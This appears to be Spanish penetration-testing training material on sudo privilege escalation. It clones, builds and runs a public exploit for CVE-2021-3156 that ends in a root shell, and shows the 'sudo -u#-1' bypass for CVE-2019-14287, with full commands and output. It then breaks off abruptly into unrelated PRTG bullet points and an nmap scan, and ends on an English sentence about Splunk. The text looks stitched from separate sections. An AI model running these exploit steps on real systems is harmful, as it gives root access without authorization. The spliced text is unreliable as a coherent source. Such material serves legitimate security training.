Saltar a contenido

1

El programa sudo se usa en sistemas operativos UNIX como Linux o macOS para iniciar procesos con los derechos de otro usuario. En la mayoría de los casos, se ejecutan comandos que solo están disponibles para administradores. Sirve como una capa adicional de seguridad o una salvaguardia para evitar que el sistema y su contenido sean dañados por usuarios no autorizados. El archivo /etc/sudoers especifica qué usuarios o grupos tienen permitido ejecutar programas específicos y con qué privilegios.

cry0l1t3@nix02:~$ sudo cat /etc/sudoers | grep -v "#" | sed -r '/^\s*$/d'
[sudo] password for cry0l1t3:  **********

Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
Defaults        use_pty
root            ALL=(ALL:ALL) ALL
%admin          ALL=(ALL) ALL
%sudo           ALL=(ALL:ALL) ALL
cry0l1t3        ALL=(ALL) /usr/bin/id
@includedir     /etc/sudoers.d

Una de las últimas vulnerabilidades de sudo lleva el CVE-2021-3156 y se basa en una vulnerabilidad de desbordamiento de búfer basado en el heap. Esto afectó a las versiones de sudo:

  • 1.8.31 - Ubuntu 20.04
  • 1.8.27 - Debian 10
  • 1.9.2 - Fedora 33
  • y otras

Para averiguar la versión de sudo, el siguiente comando es suficiente:

cry0l1t3@nix02:~$ sudo -V | head -n1

Sudo version 1.8.31

Lo interesante de esta vulnerabilidad es que estuvo presente durante más de diez años hasta que fue descubierta. También existe un Proof-Of-Concept público que se puede usar para esto. Podemos descargarlo en una copia del sistema objetivo que hemos creado o, si tenemos una conexión a internet, directamente en el sistema objetivo.

cry0l1t3@nix02:~$ git clone https://github.com/blasty/CVE-2021-3156.git
cry0l1t3@nix02:~$ cd CVE-2021-3156
cry0l1t3@nix02:~$ make

rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c

Al ejecutar el exploit, se nos puede mostrar una lista que enumerará todas las versiones disponibles de los sistemas operativos que pueden verse afectadas por esta vulnerabilidad.

cry0l1t3@nix02:~$ ./sudo-hax-me-a-sandwich

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

  usage: ./sudo-hax-me-a-sandwich <target>

  available targets:
  ------------------------------------------------------------
    0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
    1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
    2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
  ------------------------------------------------------------

  manual mode:
    ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

Podemos averiguar qué versión del sistema operativo estamos usando con el siguiente comando:

cry0l1t3@nix02:~$ cat /etc/lsb-release

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.1 LTS"

A continuación, especificamos el ID respectivo para la versión del sistema operativo y ejecutamos el exploit con nuestro payload.

cry0l1t3@nix02:~$ ./sudo-hax-me-a-sandwich 1

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **

# id

uid=0(root) gid=0(root) groups=0(root)

Sudo Policy Bypass

Otra vulnerabilidad fue encontrada en 2019 que afectaba a todas las versiones por debajo de 1.8.28, lo que permitía la escalación de privilegios incluso con un comando simple. Esta vulnerabilidad tiene el CVE-2019-14287 y requiere solo un requisito previo. Tenía que permitir a un usuario en el archivo /etc/sudoers ejecutar un comando específico.

cry0l1t3@nix02:~$ sudo -l
[sudo] password for cry0l1t3: **********

User cry0l1t3 may run the following commands on Penny:
    ALL=(ALL) /usr/bin/id

De hecho, sudo también permite ejecutar comandos con IDs de usuario específicos, lo que ejecuta el comando con los privilegios del usuario que lleva el ID especificado. El ID del usuario específico se puede leer del archivo /etc/passwd.

cry0l1t3@nix02:~$ cat /etc/passwd | grep cry0l1t3

cry0l1t3:x:1005:1005:cry0l1t3,,,:/home/cry0l1t3:/bin/bash

Así, el ID para el usuario cry0l1t3 sería 1005. Si se ingresa un ID negativo (-1) en sudo, esto resulta en procesar el ID 0, que solo tiene root. Esto, por lo tanto, llevó a una shell de root inmediata.

cry0l1t3@nix02:~$ sudo -u#-1 id

root@nix02:/home/cry0l1t3# id

uid=0(root) gid=1005(cry0l1t3) groups=1005(cry0l1t3)
  • Según la empresa, es utilizado por 300,000 usuarios en todo el mundo.
  • La empresa que fabrica la herramienta, Paessler, ha estado creando soluciones de monitoreo desde 1997.
  • Algunas organizaciones que usan PRTG para monitorear sus redes incluyen el Aeropuerto Internacional de Nápoles, Virginia Tech, 7-Eleven, y más.

A lo largo de los años, PRTG ha sufrido 26 vulnerabilidades que se les asignaron CVEs. De todas estas, solo cuatro tienen exploits públicos fáciles de encontrar: dos cross-site scripting (XSS), una Denial of Service, y una vulnerabilidad de command injection autenticada que cubriremos en esta sección. Es raro ver PRTG expuesto externamente, pero a menudo nos hemos encontrado con PRTG durante pruebas de penetración internas. El box de liberación semanal de HTB Netmon muestra PRTG.

Discovery/Footprinting/Enumeration

Podemos descubrir rápidamente PRTG desde un escaneo de Nmap. Típicamente se puede encontrar en puertos web comunes como 80, 443, o 8080. Es posible cambiar el puerto de la interfaz web en la sección de Setup cuando se inicia sesión como administrador.

sudo nmap -sV -p- --open -T4 10.129.201.50

Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-22 15:41 EDT
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.06% done
Nmap scan report for 10.129.201.50
Host is up (0.11s latency).
Not shown: 65492 closed ports, 24 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5357/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp  open  ssl/http      Splunkd httpd
8080/tcp  open  http          Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)
8089/tcp  open  ssl/http      Splunkd httpd
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Now that we've covered Splunk and PRTG let's move on and discuss some common customer service management and configuration management tools and see how we can abuse them during our engagements.